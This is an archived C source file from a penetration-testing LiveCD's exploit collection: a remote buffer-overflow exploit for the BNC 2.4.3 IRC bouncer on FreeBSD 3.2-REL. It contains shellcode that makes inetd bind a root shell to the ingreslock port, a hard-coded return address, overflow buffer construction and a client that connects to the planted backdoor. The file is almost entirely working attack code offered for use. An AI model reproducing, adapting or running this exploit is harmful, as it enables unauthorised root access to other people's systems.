home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / fbsd-bnc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  262 lines

  1. /*
  2.  *  BNC 2.4.3 exploit for FreeBSD 3.2-REL
  3.  *  This version of BNC is shipped in the FBSD 3.2-REL ports collection.
  4.  *
  5.  *  $ ./fbsd-bnc echelon 6669
  6.  *  [...]
  7.  *  Host `192.168.2.34` successfully owned.
  8.  *  sh: can't access tty; job control turned off
  9.  *  #
  10.  *
  11.  *  This is *not* the same exploit as in 2.2.* versions of BNC (contrary
  12.  *  to what some outspoken individuals appear to think).
  13.  *
  14.  *  Thanks to gov-boi for beta-testing the linux version of this exploit.
  15.  *
  16.  *  - anathema <anathema@hack.co.za>
  17.  *
  18.  *  Usage: ./fbsd-bnc dst_host|ip [src_prt] dst_prt
  19.  *     eg: ./fbsd-bnc echelon 6669      - dest port of 6669
  20.  *     eg: ./fbsd-bnc echelon 242 1024  - src port of 242, dest port of 1024
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <unistd.h>
  26. #include <string.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <sys/time.h>
  30. #include <netinet/in.h>
  31. #include <arpa/inet.h>
  32. #include <netdb.h>
  33.  
  34. #define ADDR            0x804dd70      /* BNC 2.4.3 : FBSD 3.2-REL */
  35. #define BUFLEN            1019
  36. #define PREPEND_LEN        193
  37. #define DELAY            5
  38.  
  39. char c0de[] =
  40.   "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
  41.   "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
  42.   "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
  43.   "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
  44.   "\x03\x03\x03\x03\x04\x04\x04\x04"
  45.   "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
  46.   "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/x;"
  47.   "/usr/sbin/inetd /tmp/x; /bin/rm -f /tmp/x";
  48.  
  49. u_long
  50. resolve_host(u_char *host)
  51. {
  52.   struct in_addr addr;
  53.   struct hostent *host_ent;
  54.  
  55.   if ((addr.s_addr = inet_addr(host)) == -1)
  56.     {
  57.       host_ent = gethostbyname(host);
  58.       if (!host_ent) return((u_long)0);
  59.       memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  60.     }
  61.  
  62.   return (addr.s_addr);
  63. }
  64.  
  65. void
  66. shellz(u_long dst_ip)
  67. {
  68.   struct sockaddr_in sin;
  69.   u_char sock_buf[8192];
  70.   fd_set fds;
  71.   int sock;
  72.  
  73.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  74.   if (sock == -1)
  75.     {
  76.       perror("socket allocation");
  77.       exit(-1);
  78.     }
  79.  
  80.   sin.sin_family = AF_INET;
  81.   sin.sin_port   = htons(1524); /* ingreslock */
  82.   sin.sin_addr.s_addr = dst_ip;
  83.  
  84.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  85.     {
  86.       perror("connecting to backdoor");
  87.       exit(-1);
  88.     }
  89.  
  90.   fprintf(stderr, "\nHost `%s` successfully owned.\n",
  91.           inet_ntoa(sin.sin_addr));
  92.   for (;;)
  93.     {
  94.       FD_ZERO(&fds);
  95.       FD_SET(0, &fds);
  96.       FD_SET(sock, &fds);
  97.  
  98.       select(255, &fds, NULL, NULL, NULL);
  99.       memset(sock_buf, 0, sizeof(sock_buf));
  100.  
  101.       if (FD_ISSET(sock, &fds))
  102.         {
  103.           read(sock, sock_buf, sizeof(sock_buf));
  104.           fprintf(stderr, "%s", sock_buf);
  105.         }
  106.  
  107.       if (FD_ISSET(0, &fds))
  108.         {
  109.           read(0, sock_buf, sizeof(sock_buf));
  110.           write(sock, sock_buf, strlen(sock_buf));
  111.         }
  112.     }
  113.  
  114.   /* NOTREACHED */
  115. }
  116.  
  117. int
  118. overflow_buf(u_char *buf, int buf_len)
  119. {
  120.   u_long addr = ADDR;
  121.   int i = 0, j = 0;
  122.  
  123.   for (i = 0; i < PREPEND_LEN;)
  124.     {
  125.       /* Initial JMP opcodes to be prepended */
  126.       buf[i++] = 0xeb;
  127.       buf[i++] = 0x20;
  128.     }
  129.  
  130.   buf[i++] = 0xeb;
  131.   buf[i++] = 0xeb;
  132.   buf[i++] = 0x40;
  133.   buf[i++] = 0x20;
  134.  
  135.   j = i;
  136.   for (; i < (j + 8);)
  137.     {
  138.       /* Second JMP set */
  139.       buf[i++] = 0xeb;
  140.       buf[i++] = 0x20;
  141.     }
  142.  
  143.   /* FreeBSD 3.2-REL: 0x804dd70 */
  144.   buf[i++] = (addr & 0x000000ff);
  145.   buf[i++] = (addr & 0x0000ff00) >> 8;
  146.   buf[i++] = (addr & 0x00ff0000) >> 16;
  147.   buf[i++] = (addr & 0xff000000) >> 24;
  148.  
  149.   memset(buf + i, 0x90, BUFLEN - strlen(c0de));
  150.   memcpy(buf + BUFLEN - strlen(c0de), c0de, strlen(c0de));
  151.   memcpy(buf + BUFLEN, "\x00\x90\x20", 3);
  152.  
  153.   return(i + BUFLEN + 3);
  154. }
  155.  
  156. void
  157. exploit(u_long dst_ip, u_short src_prt, u_short dst_prt)
  158. {
  159.   struct sockaddr_in sin;
  160.   u_char buf[8192] = {0};
  161.   int sock, len = 0;
  162.  
  163.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  164.   if (sock == -1)
  165.     {
  166.       perror("socket allocation");
  167.       exit(-1);
  168.     }
  169.  
  170.   if (src_prt)
  171.     {
  172.       struct sockaddr_in min;
  173.       int one = 1, *o_pt = &one;
  174.  
  175.       if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
  176.         {
  177.           perror("setsockopt SO_REUSEADDR");
  178.           exit(-1);
  179.         }
  180.  
  181.       min.sin_family = AF_INET;
  182.       min.sin_port   = htons(src_prt);
  183.       min.sin_addr.s_addr = INADDR_ANY;
  184.  
  185.       if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
  186.         {
  187.           perror("bind");
  188.           exit(-1);
  189.         }
  190.     }
  191.  
  192.   sin.sin_family = AF_INET;
  193.   sin.sin_port   = htons(dst_prt);
  194.   sin.sin_addr.s_addr = dst_ip;
  195.  
  196.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  197.     {
  198.       perror("connecting to bnc daemon");
  199.       exit(-1);
  200.     }
  201.  
  202.   len = overflow_buf(buf, sizeof(buf));
  203.  
  204.   if (write(sock, buf, len) != len)
  205.     {
  206.       fprintf(stderr, "err: truncated write()\n");
  207.       exit(-1);
  208.     }
  209.  
  210.   sleep(DELAY);
  211.  
  212.   shellz(dst_ip);
  213.   /* NOTREACHED */
  214. }
  215.  
  216. void
  217. usage(u_char *nomenclature)
  218. {
  219.   fprintf(stderr, "usage:\t%s dst_host|ip [src_prt] dst_prt\n",
  220.           nomenclature);
  221.   exit(0);
  222. }
  223.  
  224. int
  225. main(int argc, char **argv)
  226. {
  227.   u_long dst_ip = 0;
  228.   u_short src_prt = 0, dst_prt = 0;
  229.  
  230.   fprintf(stderr, "BNC 2.4.3 exploit for FreeBSD 3.2-RELEASE\n"
  231.           "This version of BNC is shipped in the FBSD 3.2-REL ports collection.\n"
  232.           "\n- anathema <anathema@hack.co.za>\n\n");
  233.  
  234.   if (argc != 3 && argc != 4)
  235.     {
  236.       usage(argv[0]);
  237.       /* NOTREACHED */
  238.     }
  239.  
  240.   dst_ip = resolve_host(argv[1]);
  241.   if (!dst_ip)
  242.     {
  243.       fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  244.       exit(-1);
  245.     }
  246.  
  247.   if (argc == 3)
  248.     {
  249.       dst_prt = (u_short)atoi(argv[2]);
  250.     }
  251.  
  252.   if (argc == 4)
  253.     {
  254.       src_prt = (u_short)atoi(argv[2]);
  255.       dst_prt = (u_short)atoi(argv[3]);
  256.     }
  257.  
  258.   exploit(dst_ip, src_prt, dst_prt);
  259.   /* NOTREACHED */
  260. }
  261.  
  262.